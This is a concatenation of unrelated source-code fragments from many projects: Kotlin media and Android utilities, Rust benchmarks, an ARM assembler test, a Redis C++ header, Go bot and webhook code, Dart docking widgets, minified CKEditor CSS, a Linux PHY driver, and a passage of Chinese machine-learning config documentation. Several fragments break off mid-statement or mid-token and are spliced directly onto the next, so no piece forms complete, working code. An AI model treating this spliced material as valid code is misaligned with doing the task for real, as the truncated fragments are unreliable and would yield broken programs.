
  <title>mathjs test</title>

  Use the mathjs library from the console...

  <title>Pi Bailey-Borwein-Plouffe</title>


output.putString(it)
        }
        ocrEsId?.let {
            output.putShort(it)
        }
        decoderConfigDescriptor.write(output)
        slConfigDescriptor.write(output)
    }
}/*
 * Copyright (C) 2015 Sebastian Annies
 * Copyright (C) 2022 Thibault B.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package io.github.thibaultbee.streampack.core.elements.utils.av.buffer

import io.github.thibaultbee.streampack.core.elements.utils.extensions.toInt
import java.nio.ByteBuffer
import kotlin.math.ceil

open class BitBuffer(
    val buffer: ByteBuffer,
    var bitPosition: Int = buffer.position() * Byte.SIZE_BITS,
    val bitEnd: Int = buffer.limit() * Byte.SIZE_BITS - 1,
) {
    val hasRemaining: Boolean
        get() = bitRemaining > 0

    val bitRemaining: Int
        get() = bitEnd - bitPosition + 1

    val remaining: Int
        get() = ceil(bitRemaining.toFloat() / Byte.SIZE_BITS).toInt()

    init {
        require(bitPosition >= 0) { "bitPosition must be >= 0" }
        require(bitEnd >= 0) { "bitSize must be >= 0" }
        require(buffer.limit() * Byte.SIZE_BITS >= bitEnd) { "Buffer must be longer then buffer end" }
    }

    fun getBoolean(): Boolean {
        return get1Bit() == 1
    }

    private fun get1Bit(): Int {
        return getInt(1)
    }

    fun get(i: Int) = getLong(i).toByte()

    fun getShort(i: Int) = getLong(i).toShort()

    fun getInt(i: Int) = getLong(i).toInt()

    fun getLong(i: Int): Long {
        if (!hasRemaining) {
            throw IllegalStateException("No more bits to read")
        }

        val b = buffer[bitPosition / Byte.SIZE_BITS]
        val v = if (b < 0) b + 256 else b.toInt()
        val left = Byte.SIZE_BITS - bitPosition % Byte.SIZE_BITS
        var rc: Long
        if (i <= left) {
            rc =
                ((v shl (bitPosition % Byte.SIZE_BITS) and 0xFF) shr ((bitPosition % Byte.SIZE_BITS) + (left - i))).toLong()
            bitPosition += i
        } else {
            val then = i - left
            rc = getLong(left)
            rc = rc shl then
            rc += getLong(then)
        }

        buffer.position(ceil(bitPosition.toDouble() / Byte.SIZE_BITS).toInt())
        return rc
    }

    fun put(b: Boolean) {
        put(b.toInt(), 1)
    }

    fun put(i: Int, numBits: Int = Int.SIZE_BITS) {
        if (!hasRemaining) {
            throw IllegalStateException("No more bits to write")
        }

        val left = 8 - bitPosition % 8
        if (numBits <= left) {
            val currentPos = bitPosition / 8
            var current = buffer.get(currentPos).toInt()
            current = if (current < 0) current + 256 else current
            current += i shl (left - numBits)
            buffer.put(
                currentPos,
                (if (current > 127) current - 256 else current).toByte()
            )
            bitPosition += numBits
        } el


let plane = new_plane::<u16>(&mut ra, w, h);
            let mut pred = Aligned::<[u16; 32 * 32]>::uninitialized();

            c.bench_function("evc_mc_c_n0", |b| {
                b.iter(|| {
                    let _ = black_box(evc_mc_c(
                        1,
                        0,
                        &plane,
                        1,
                        0,
                        &mut pred.data,
                        cuw as i16,
                        cuh as i16,
                    ));
                })
            });
        }

        fn bench_evc_mc_c_0n(c: &mut Criterion) {
            let mut ra = ChaChaRng::from_seed([0; 32]);
            let w = 640;
            let h = 480;
            let cuw = 32;
            let cuh = 32;
            let plane = new_plane::<u16>(&mut ra, w, h);
            let mut pred = Aligned::<[u16; 32 * 32]>::uninitialized();

            c.bench_function("evc_mc_c_0n", |b| {
                b.iter(|| {
                    let _ = black_box(evc_mc_c(
                        0,
                        1,
                        &plane,
                        0,
                        1,
                        &mut pred.data,
                        cuw as i16,
                        cuh as i16,
                    ));
                })
            });
        }

        fn bench_evc_mc_c_nn(c: &mut Criterion) {
            let mut ra = ChaChaRng::from_seed([0; 32]);
            let w = 640;
            let h = 480;
            let cuw = 32;
            let cuh = 32;
            let plane = new_plane::<u16>(&mut ra, w, h);
            let mut pred = Aligned::<[u16; 32 * 32]>::uninitialized();

            c.bench_function("evc_mc_c_nn", |b| {
                b.iter(|| {
                    let _ = black_box(evc_mc_c(
                        1,
                        1,
                        &plane,
                        1,
                        1,
                        &mut pred.data,
                        cuw as i16,
                        cuh as i16,
                    ));
                })
            });
        }
    }
}
use crate::cssom::{
    css_condition_rule_seal, css_grouping_rule_seal, impl_css_rule_traits, CssConditionRule,
    CssGroupingRule,
};

#[derive(Clone)]
pub struct CssMediaRule {
    inner: web_sys::CssMediaRule,
}

impl CssMediaRule {
    // TODO: media
}

impl css_grouping_rule_seal::Seal for CssMediaRule {
    fn as_web_sys_css_grouping_rule(&self) -> &web_sys::CssGroupingRule {
        self.inner.as_ref()
    }
}

impl CssGroupingRule for CssMediaRule {}

impl css_condition_rule_seal::Seal for CssMediaRule {
    fn as_web_sys_css_condition_rule(&self) -> &web_sys::CssConditionRule {
        self.inner.as_ref()
    }
}

impl CssConditionRule for CssMediaRule {}

impl From<web_sys::CssMediaRule> for CssMediaRule {
    fn from(inner: web_sys::CssMediaRule) -> Self {
        CssMediaRule { inner }
    }
}

impl AsRef<web_sys::CssMediaRule> for CssMediaRule {
    fn as_ref(&self) -> &web_sys::CssMediaRule {
        &self.inner
    }
}

impl_css_rule_traits!(CssMediaRule, CssMediaRule);
<gh_st


 Exception) {
                    showToast(
                        "Something went wrong : " + e.message
                    )
                }
            }
        } else {
            lifecycleScope.launch(Dispatchers.IO) {
                val file = PlaylistsUtil.savePlaylistWithSongs(playlistWithSongs)
                MediaScannerConnection.scanFile(
                    requireActivity(),
                    arrayOf<String>(file.path),
                    null
                ) { _, _ ->
                }
                withContext(Dispatchers.Main) {
                    showToast(
                        getString(R.string.saved_playlist_to, file),
                        Toast.LENGTH_LONG
                    )
                    dismiss()
                }
            }
        }
    }

    override fun onCreateDialog(savedInstanceState: Bundle?): Dialog {
        return materialDialog(R.string.save_playlist_title)
            .setView(R.layout.loading)
            .create().colorButtons()
    }
}
/*
 * Copyright (c) 2024 lingyicute.
 *
 * Licensed under the GNU General Public License v3
 *
 * This is free software: you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by
 *  the Free Software Foundation either version 3 of the License, or (at your option) any later version.
 *
 * This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU General Public License for more details.
 */
package code.name.monkey.retromusic.util

import android.content.Context
import android.util.TypedValue

/**
 * Created by hefuyi on 16/7/30.
 */
object DensityUtil {
    fun getScreenHeight(context: Context): Int {
        val displayMetrics = context.resources.displayMetrics
        return displayMetrics.heightPixels
    }

    fun getScreenWidth(context: Context): Int {
        val displayMetrics = context.resources.displayMetrics
        return displayMetrics.widthPixels
    }

    private fun toDP(context: Context, value: Int): Int {
        return TypedValue.applyDimension(
            TypedValue.COMPLEX_UNIT_DIP,
            value.toFloat(), context.resources.displayMetrics
        ).toInt()
    }

    @JvmStatic
    fun dip2px(context: Context, dpVale: Float): Int {
        val scale = context.resources.displayMetrics.density
        return (dpVale * scale + 0.5f).toInt()
    }
}/*
 * Copyright (c) 2024 lingyicute.
 *
 * Licensed under the GNU General Public License v3
 *
 * This is free software: you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by
 *  the Free Software Foundation either version 3 of the License, or (at your option) any later version.
 *
 * This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU General Public License for more details.
 */
package code.name.monkey.retromusic.util

import java.util.*

/** @author Eugene Cheung (arkon)
 */
class CalendarUtil {
    private val calendar = Calendar.getInstance()// Time elapsed so far today

    /**
     * Returns the time elapsed so far today in milliseconds.
     *
     * @return Time elapsed today in milliseconds.
     */
    val elapsedToday: Long
        get() =// Time elapsed so far today
            (calendar[Calendar.HOUR_OF_DAY] * 60 + calendar[Calendar.MINUTE]) * MS_PER_MINUTE + calendar[Calendar.SECOND] * 1000 + calendar[Calendar.MILLISECOND]// Today + days passed this week

    /**
     * Returns the time elapsed so far this week in milliseconds.
     *
     * @return Time elapsed this week in milliseconds.
     */
    val elapsedWeek: Long
        get() {
            // Today + days passed this we


// Move to APSR_nzcv.
  __ Vmrs(RegisterOrAPSR_nzcv(pc.GetCode()), FPSCR);
  __ Mrs(r3, APSR);
  __ And(r3, r3, 0xf0000000);

  END();

  RUN();

  ASSERT_EQUAL_32(0x2a000000, r1);
  ASSERT_EQUAL_32(0x5a000000, r2);
  ASSERT_EQUAL_32(0x50000000, r3);
}

TEST(printf) {
  SETUP();

  START();
  __ Mov(r0, 0xb00e0000);
  __ Msr(APSR_nzcvqg, r0);
  __ Mov(r0, sp);
  __ Printf("sp=%x\n", r0);
  //  __ Printf("Hello world!\n");
  __ Mov(r0, 0x1234);
  __ Mov(r1, 0x5678);
  StringLiteral literal("extra string");
  __ Adr(r2, &literal);
  __ Mov(r3, 5);
  __ Mov(r4, 0xdead4444);
  __ Mov(r5, 0xdead5555);
  __ Mov(r6, 0xdead6666);
  __ Mov(r7, 0xdead7777);
  __ Mov(r8, 0xdead8888);
  __ Mov(r9, 0xdead9999);
  __ Mov(r10, 0xdeadaaaa);
  __ Mov(r11, 0xdeadbbbb);
  __ Vldr(d0, 1.2345);
  __ Vldr(d1, 2.9876);
  __ Vldr(s4, 1.3333);
  __ Vldr(s5, 3.21);
  __ Vldr(d3, 3.333);
  __ Vldr(d4, 4.444);
  __ Vldr(d5, 5.555);
  __ Vldr(d6, 6.666);
  __ Vldr(d7, 7.777);
  __ Vldr(d8, 8.888);
  __ Vldr(d9, 9.999);
  __ Vldr(d10, 10.000);
  __ Vldr(d11, 11.111);
  __ Vldr(d12, 12.222);
  __ Vldr(d13, 13.333);
  __ Vldr(d14, 14.444);
  __ Vldr(d15, 15.555);
  __ Vldr(d16, 16.666);
  __ Vldr(d17, 17.777);
  __ Vldr(d18, 18.888);
  __ Vldr(d19, 19.999);
  __ Vldr(d20, 20.000);
  __ Vldr(d21, 21.111);
  __ Vldr(d22, 22.222);
  __ Vldr(d23, 23.333);
  __ Vldr(d24, 24.444);
  __ Vldr(d25, 25.555);
  __ Vldr(d26, 26.666);
  __ Vldr(d27, 27.777);
  __ Vldr(d28, 28.888);
  __ Vldr(d29, 29.999);
  __ Vldr(d30, 30.000);
  __ Vldr(d31, 31.111);
  {
    UseScratchRegisterScope temps(&masm);
    // For effective use as an inspection tool, Printf must work without any
    // scratch registers.
    VIXL_CHECK(r12.Is(temps.Acquire()));
    __ Mov(r12, 0xdeadcccc);
    VIXL_CHECK(masm.GetScratchRegisterList()->IsEmpty());

    __ Printf("%% r0=%x r1=%x str=<%.*s>\n", r0, r1, r3, r2);
    __ Printf("r0=%d r1=%d str=<%s>\n", r0, r1, r2);
    __ Printf("d0=%g\n", d0);
    __ Printf("s


te <typename T>
    Awaiter<long long> srem(const StringView &key, std::initializer_list<T> il) {
        return srem(key, il.begin(), il.end());
    }

private:
    explicit CoRedis(const Uri &uri) :
        CoRedis(uri.connection_options(), uri.connection_pool_options()) {}

    template <typename Result, typename Formatter, typename ...Args>
    Awaiter<Result> _command(Formatter &&formatter, Args &&...args) {
        return _command_with_parser<Result, DefaultResultParser<Result>>(std::forward<Formatter>(formatter),
                std::forward<Args>(args)...);
    }

    template <typename Result, typename ResultParser, typename Formatter, typename ...Args>
    Awaiter<Result, ResultParser> _command_with_parser(Formatter &&formatter, Args &&...args) {
        return Awaiter<Result, ResultParser>(&_async_redis, formatter(std::forward<Args>(args)...));
    }

    AsyncRedis _async_redis;
};

}

}

#endif // end SEWENEW_REDISPLUSPLUS_CO_REDIS_H


) {
                commitMap[month] = commit
            }
        }

        return commitMap.values.toList()
    }

    private class DateFilter(val date: Long) : RevFilter() {
        override fun include(walker: RevWalk?, cmit: RevCommit?): Boolean {
            if (cmit != null) {
                return isWithinOneYear(date, cmit.commitTime.toLong() * 1000) //example commitTime 1702406125
            }
            return false
        }

        override fun clone(): RevFilter {
            return this
        }
    }

    override fun iterator(): Iterator<String> {
        return object : Iterator<String> {
            override fun hasNext(): Boolean {
                return commits.isNotEmpty()
            }

            override fun next(): String {
                if (!hasNext()) {
                    throw NoSuchElementException()
                }

                val commit = commits.removeFirst()
                git.reset()
                    .setMode(ResetCommand.ResetType.HARD)
                    .setRef(commit.name)
                    .call()

                logger.debug { "Next commit $commit.name msg: ${commit.fullMessage}" }
                return commit.name
            }
        }
    }
}
package commands.createDependencyGraph

import com.github.ajalt.clikt.core.CliktCommand
import com.github.ajalt.clikt.parameters.options.flag
import com.github.ajalt.clikt.parameters.options.option
import com.github.ajalt.clikt.parameters.options.required
import com.github.ajalt.clikt.parameters.types.path
import kotlinx.coroutines.runBlocking
import org.apache.logging.log4j.kotlin.logger
import shared.analyzerResultDtos.AnalyzerResultDto
import shared.analyzerResultDtos.ProjectDto
import reporter.Reporter
import java.io.File
import java.nio.file.Files
import kotlin.io.path.createDirectories

/**
 * Input: local paths to git repositories
 * Output: AnalyzerResultDto(s)
 */
class CreateDependencyGraph : CliktCommand() {

    private val projectsDir by option(
        help = "Path to the file containing the Paths of" +
                "the repositories which will be analyzed."
    )
        .path(mustExist = true, mustBeReadable = true, canBeFile = true)
        .required()

    private val outputPath by option(
        help = "Path in which all analyzer results are stored"
    )
        .path(mustExist = false, canBeFile = false)
        .required()

    private val multiFileMode by option().flag(default = false)

    override fun run(): Unit = runBlocking {

        logger.info { "Running ORT on projects $projectsDir" }

        val dependencyAnalyzer = DependencyAnalyzer()
        val dependencyGraphService = DependencyGraphService()
        outputPath.createDirectories()

        if(multiFileMode) {
            val subDirs = Files.walk(projectsDir).toList().toMutableList()
            // the first element is the base path which we can't analyze
            subDirs.removeFirst()
            subDirs.filter { Files.isDirectory(it) }
                .map { it.toAbsolutePath().toFile() }
                .forEach { subDir ->
                    processProject(subDir, dependencyGraphService, dependencyAnalyzer)
                }
        } else {
            processProject(projectsDir.toAbsolutePath().toFile(), dependencyGraphService, dependencyAnalyzer)
        }
        dependencyGraphService.close()
    }

    private suspend fun processProject(
        projectDir: File,
        dependencyGraphService: DependencyGraphService,
        dependencyAnalyzer: DependencyAnalyzer
    ) {
        try {
            if (!projectDir


md.Args, "-a", filePath)
			defer func() {
				if err := os.Remove(filePath); err != nil {
					c.logger.LogError("error removing file:", filePath)
				}
			}()
		}
	}

	if err := cmd.Start(); err != nil {
		return false, err
	}
	if err := cmd.Wait(); err != nil {
		return false, err
	}
	return true, nil
}

func (c *client) receiveMessages() {
	cmd := exec.Command("signal-cli", "-u", c.botNumber, "receive", "--json")
	stdout, err := cmd.StdoutPipe()

	if err != nil {
		c.logger.LogError(err)
	}
	cmd.Start()

	scanner := bufio.NewScanner(stdout)
	for scanner.Scan() {
		row := scanner.Text()

		c.logger.LogDebug(row)

		var signalCLIMessage message.SignalCLIMessage
		err := json.Unmarshal([]byte(row), &signalCLIMessage)
		if err != nil {
			c.logger.LogError(err)
		}

		if msg, err := message.NewSignalBridgeMessage(&signalCLIMessage).Build(); err == nil {
			if executed, err := c.ExecuteSkill(msg); !executed || err != nil {
				c.Publish(bridge.SIGNAL_QUEUE, msg)
			}
		}
	}

	cmd.Wait()
	go c.receiveMessages()
}
package terminal

import (
	"bufio"
	"bytes"
	"errors"
	"fmt"
	"io"
	"net"
	"strconv"
	"sync/atomic"
	"time"
	"unicode"
)

const (
	CR = byte('\r')
	LF = byte('\n')
)

const (
	// SE                  240    End of subnegotiation parameters.
	cmdSE = 240
	// NOP                 241    No operation.
	cmdNOP = 241
	// Data Mark           242    The data stream portion of a Synch.
	//                            This should always be accompanied
	//                            by a TCP Urgent notification.
	cmdData = 242

	// Break               243    NVT character BRK.
	cmdBreak = 243
	// Interrupt Process   244    The function IP.
	cmdIP = 244
	// Abort output        245    The function AO.
	cmdAO = 245
	// Are You There       246    The function AYT.
	cmdAYT = 246
	// Erase character     247    The function EC.
	cmdEC = 247
	// Erase Line          248    The function EL.
	cmdEL = 248
	// Go ahead            249    The GA signal.
	cmdGA = 249
	// SB                  250    Indicates that what follows is
	//                            subnegotiation of the indicated
	//                            option.
	cmdSB = 250 // FA

	// WILL (option code)  251    Indicates the desire to begin
	//                            performing, or confirmation that
	//                            you are now performing, the
	//                            indicated option.
	cmdWill = 251 // FB
	// WON'T (option code) 252    Indicates the refusal to perform,
	//                            or continue performing, the
	//                            indicated option.
	cmdWont = 252 // FC
	// DO (option code)    253    Indicates the request that the
	//                            other party perform, or
	//                            confirmation that you are expecting
	//                            the other party to perform, the
	//                            indicated option.
	cmdDo = 253 // FD
	// DON'T (option code) 254    Indicates the demand that the
	//                            other


_dummy2"].contains(name))
      continue;

    contents = contents.replaceAll(name, "dockwidget_tests_$i");
    i++;
  }

  print(contents);
}
/*
  This file is part of KDDockWidgets.

  SPDX-FileCopyrightText: 2024 Klarälvdalens Datakonsult AB, a KDAB Group company <info@kdab.com>
  Author: Sérgio Martins <sergio.martins@kdab.com>

  SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only

  Contact KDAB at <info@kdab.com> for commercial licensing options.
*/

import 'package:flutter_test/flutter_test.dart';
import 'package:KDDockWidgets/KDDockWidgets.dart';
import 'package:KDDockWidgets/private/Bindings.dart';

void main() {
  group('FloatingItem', () {
    test('isFloating', () {
      var dropArea = DropArea();
      final dockName = "dock1";
      expect(dropArea.containsDockItem(dockName), false);
      var dock = DockItem(uniqueName: dockName);
      dropArea.addDockItem(dock, Location.LocationOnTop);

      var group = dropArea.groups.first;
      // It's docked, so not floating yet
      expect(group.isFloating(), false);
      expect(dropArea.groups.length, 1);
      expect(group.dropArea, dropArea);

      // Undock:
      group.titlebar.onFloatClicked();
      expect(group.isFloating(), true);
      expect(dropArea.groups.length, 0);
      expect(group.dropArea != dropArea, true);

      // Redock:
      // group.titlebar.onFloatClicked();
      // expect(group.isFloating(), false);
    });
  });
}
/*
  This file is part of KDDockWidgets.

  SPDX-FileCopyrightText: 2024 Klarälvdalens Datakonsult AB, a KDAB Group company <info@kdab.com>
  Author: Sérgio Martins <sergio.martins@kdab.com>

  SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only

  Contact KDAB at <info@kdab.com> for commercial licensing options.
*/

part of kddockwidgets;

final Map<int, WeakReference<Group>> _instances = {};
final Map<DockItem, Connection> _titleChangedConnections = {};

// C++ might call the callback before _instances has the group
Group? groupInCtor;

void _geometryChangedCallback(ffi.Pointer<ffi.Void> guest, int x, int y,
    int width, int height, int isVisible) {
  try {
    final group =
        groupInCtor == null ? _instances[guest.address]!.target! : groupInCtor!;

    group.geometry = Rect.fromLTWH(
        x.toDouble(), y.toDouble(), width.toDouble(), height.toDouble());
    group.isVisible = isVisible != 0;

    group.changed.emit();
  } catch (e) {
    print('Error in _geometryChangedCallback: $e');
    print('Instances size=${_instances.length}');
    print('Guest address=${guest.address}');
  }
}

class Group extends GeometryItem implements ffi.Finalizable, ItemWithTitleBar {
  static final _finalizer =
      ffi.NativeFinalizer(finalizerFunc("delete_guest").cast());

  int _currentIndex = -1;
  List<DockItem> items = [];
  late final TitleBar titlebar;

  late final ffi.Pointer<void> guestCpp;

  final titleChanged = Signal0();
  DropArea dropArea;

  Group(this.dropArea, {super.geometry}) {
    titlebar = TitleBar(this);

    final callbackPointer = ffi.Pointer.fromFunction<
        ffi.Void Function(ffi.Poi


,CAEA,4BACC,YACD,CCbA,oCDCD,kBAeE,cAUF,CARE,yCACC,eACD,CAEA,6BACC,cACD,CCtBD",sourcesContent:['/*\n * Copyright (c) 2003-2022, CKSource Holding sp. z o.o. All rights reserved.\n * For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license\n */\n\n@import "@ckeditor/ckeditor5-ui/theme/mixins/_rwd.css";\n\n.ck.ck-media-form {\n\tdisplay: flex;\n\talign-items: flex-start;\n\tflex-direction: row;\n\tflex-wrap: nowrap;\n\n\t& .ck-labeled-field-view {\n\t\tdisplay: inline-block;\n\t}\n\n\t& .ck-label {\n\t\tdisplay: none;\n\t}\n\n\t@mixin ck-media-phone {\n\t\tflex-wrap: wrap;\n\n\t\t& .ck-labeled-field-view {\n\t\t\tflex-basis: 100%;\n\t\t}\n\n\t\t& .ck-button {\n\t\t\tflex-basis: 50%;\n\t\t}\n\t}\n}\n',"/*\n * Copyright (c) 2003-2022, CKSource Holding sp. z o.o. All rights reserved.\n * For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license\n */\n\n@define-mixin ck-media-phone {\n\t@media screen and (max-width: 600px) {\n\t\t@mixin-content;\n\t}\n}\n"],sourceRoot:""}]);const a=s},1613:(t,e,n)=>{n.d(e,{Z:()=>a});var o=n(1799),i=n.n(o),r=n(2609),s=n.n(r)()(i());s.push([t.id,".ck .ck-insert-table-dropdown__grid{display:flex;flex-direction:row;flex-wrap:wrap}:root{--ck-insert-table-dropdown-padding:10px;--ck-insert-table-dropdown-box-height:11px;--ck-insert-table-dropdown-box-width:12px;--ck-insert-table-dropdown-box-margin:1px}.ck .ck-insert-table-dropdown__grid{width:calc(var(--ck-insert-table-dropdown-box-width)*10 + var(--ck-insert-table-dropdown-box-margin)*20 + var(--ck-insert-table-dropdown-padding)*2);padding:var(--ck-insert-table-dropdown-padding) var(--ck-insert-table-dropdown-padding) 0}.ck .ck-insert-table-dropdown__label{text-align:center}.ck .ck-insert-table-dropdown-grid-box{width:var(--ck-insert-table-dropdown-box-width);height:var(--ck-insert-table-dropdown-box-height);margin:var(--ck-insert-table-dropdown-box-margin);border:1px solid var(--ck-color-base-border);border-radius:1px}.ck .ck-insert-table-dropdown-grid-box.ck-on{border-color:var(--ck-color-focus-border);background:var(--ck-color-focus-outer-shadow)}","",{version:3,sources:["webpack://./../ckeditor5-table/theme/inserttable.css","webpack://./../ckeditor5-theme-lark/theme/ckeditor5-table/inserttable.css"],names:[],mappings:"AAKA,oCACC,YAAa,CACb,kBAAmB,CACnB,cACD,CCJA,MACC,uCAAwC,CACxC,0CAA2C,CAC3C,yCAA0C,CAC1C,yCACD,CAEA,oCAEC,oJAA2J,CAC3J,yFACD,CAEA,qCACC,iBA


{ return w.Channel },
		"token":      func() string { return w.Token },
		"timestamp":  func(t time.Time) string { return t.Format(time.RFC3339) },
		"name":       func() string { return w.Name },
	})

	// Providing a template name that exists overrides template_path.
	// Do not add a 'default' case here.
	switch strings.ToLower(w.TempName) {
	case "notifiarr", "default":
		return template.Parse(WebhookTemplateNotifiarr)
	case "discord":
		return template.Parse(WebhookTemplateDiscord)
	case "telegram":
		return template.Parse(WebhookTemplateTelegram)
	case "slack":
		return template.Parse(WebhookTemplateSlack)
	case "pushover":
		return template.Parse(WebhookTemplatePushover)
	case "gotify":
		return template.Parse(WebhookTemplateGotify)
	}

	// Figure out which template to use based on URL or template_path.
	switch url := strings.ToLower(w.URL); {
	default:
		fallthrough
	case strings.Contains(url, "discordnotifier.com"), strings.Contains(url, "notifiarr.com"):
		return template.Parse(WebhookTemplateNotifiarr)
	case w.TmplPath != "":
		s, err := os.ReadFile(w.TmplPath)
		if err != nil {
			return nil, fmt.Errorf("template file: %w", err)
		}

		return template.Parse(string(s))
	case strings.Contains(url, "discord.com"), strings.Contains(url, "discordapp.com"):
		return template.Parse(WebhookTemplateDiscord)
	case strings.Contains(url, "api.telegram.org"):
		return template.Parse(WebhookTemplateTelegram)
	case strings.Contains(url, "hooks.slack.com"):
		return template.Parse(WebhookTemplateSlack)
	case strings.Contains(url, "pushover.net"):
		return template.Parse(WebhookTemplatePushover)
	case strings.Contains(url, "gotify"):
		return template.Parse(WebhookTemplateGotify)
	}
}

func separator(separator string) func() string {
	var found bool

	return func() string {
		if !found {
			found = true
			return ""
		}

		return separator
	}
}

func humanbytes(size int64) string {
	const byteUnit = 1024

	// This is from https://yourbasic.org/golang/formatting-byte-size-to-human-readable-format/
	// This func converts an int to a human readable byte string.
	if size < byteUnit {
		return fmt.Sprintf("%dB", size)
	}

	div, exp := int64(byteUnit), 0

	for n := size / byteUnit; n >= byteUnit; n /= byteUnit {
		div *= byteUnit
		exp++
	}

	return fmt.Sprintf("%.1f%ciB", float64(size)/float64(div), "KMGTPE"[exp])
}
package handlers_test

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"

	. "github.com/onsi/ginkgo"
	. "github.com/onsi/gomega"
	"github.com/zefer/gompd/mpd"
	"github.com/unpleasantbi/mothership/handlers"
)

type mockPlClient struct{}

var mockStatus map[string]string = map[string]string{}

func (c mockPlClient) Status() (mpd.Attrs, error) {
	return mockStatus, nil
}

var requestedRange [2]int

func (c mockPlClient) PlaylistInfo(start, end int) ([]mpd.Attrs, error) {
	requestedRange =


on2_for_sata		= { 0x0008, 15, 0, 0x00, 0x80c1 },
	.con3_for_sata		= { 0x000c, 15, 0, 0x00, 0x0407 },
	/* pipe-grf */
	.pipe_con0_for_sata	= { 0x0000, 11, 5, 0x00, 0x22 },
	.pipe_con1_for_sata	= { 0x0000, 2, 0, 0x00, 0x2 },
	.pipe_pcie1l0_sel	= { 0x0100, 0, 0, 0x01, 0x0 },
	.pipe_pcie1l1_sel	= { 0x0100, 1, 1, 0x01, 0x0 },
};

static const struct rockchip_combphy_cfg rk3588_combphy_cfgs = {
	.grfcfg		= &rk3588_combphy_grfcfgs,
	.combphy_cfg	= rk3588_combphy_cfg,
};

static const struct of_device_id rockchip_combphy_of_match[] = {
	{
		.compatible = "rockchip,rk3568-naneng-combphy",
		.data = &rk3568_combphy_cfgs,
	},
	{
		.compatible = "rockchip,rk3588-naneng-combphy",
		.data = &rk3588_combphy_cfgs,
	},
	{ },
};
MODULE_DEVICE_TABLE(of, rockchip_combphy_of_match);

static struct platform_driver rockchip_combphy_driver = {
	.probe	= rockchip_combphy_probe,
	.driver = {
		.name = "rockchip-naneng-combphy",
		.of_match_table = rockchip_combphy_of_match,
	},
};
module_platform_driver(rockchip_combphy_driver);

MODULE_DESCRIPTION("Rockchip NANENG COMBPHY driver");
MODULE_LICENSE("GPL v2");


，所有其他的配置文件都应该继承自这个 _原始配置_ 文件，这样就能保证配置文件的最大继承深度为 3。

为了便于理解，我们建议贡献者继承现有方法。
例如，如果在 PointPillars 的基础上做了一些修改，用户首先可以通过指定 `_base_ = ../pointpillars/hv_pointpillars_fpn_sbn-all_4x8_2x_nus-3d.py` 来继承基础的 PointPillars 结构，然后修改配置文件中的必要参数以完成继承。

如果你在构建一个与任何现有方法不共享结构的全新方法，可以在 `configs` 文件夹下创建一个新的例如 `xxx_rcnn` 文件夹。

更多细节请参考 [MMCV](https://mmcv.readthedocs.io/en/latest/understand_mmcv/config.html) 文档。

## 配置文件名称风格

我们遵循以下样式来命名配置文件，并建议贡献者遵循相同的风格。

```
{model}_[model setting]_{backbone}_{neck}_[norm setting]_[misc]_[gpu x batch_per_gpu]_{schedule}_{dataset}
```

`{xxx}` 是被要求填写的字段而 `[yyy]` 是可选的。

- `{model}`：模型种类，例如 `hv_pointpillars` (Hard Voxelization PointPillars)、`VoteNet` 等。
- `[model setting]`：某些模型的特殊设定。
- `{backbone}`： 主干网络种类例如 `regnet-400mf`、`regnet-1.6gf` 等。
- `{neck}`：模型颈部的种类包括 `fpn`、`secfpn` 等。
- `[norm_setting]`：如无特殊声明，默认使用 `bn` (Batch Normalization)，其他类型可以有 `gn` (Group Normalization)、`sbn` (Synchronized Batch Normalization) 等。
    `gn-head`/`gn-neck` 表示 GN 仅应用于网络的头部或颈部，而 `gn-all` 表示 GN 用于整个模型，例如主干网络、颈部和头部。
- `[misc]`：模型中各式各样的设置/插件，例如 `strong-aug` 意味着在训练过程中使用更强的数据增广策略。
- `[batch_per_gpu x gpu]`：每个 GPU 的样本数和 GPU 数量，默认使用 `4x8`。
- `{schedule}`：训练方案，选项是 `1x`、`2x`、`20e` 等。
    `1x` 和 `2x` 分别代表训练 12 和 24 轮。
    `20e` 在级联模型中使用，表示训练 20 轮。
    对于 `1x`/`2x`，初始学习率在第 8/16 和第 11/22 轮衰减 10 倍；对于 `20e`，初始学习率在第 16 和第 19 轮衰减 10 倍。
- `{dataset}`：数据集，例如 `nus-3d`、`kitti-3d`、`lyft-3d`、`scannet-3d`、`sunrgbd-3d` 等。
    当某一数据集存在多种设定时，我们也标记下所使用的类别数量，例如 `kitti-3d-3class` 和 `kitti-3d-car` 分别意味着在 KITTI 的所有三类上和单独车这一类上进行训练。

## 弃用的 train_cfg/test_cfg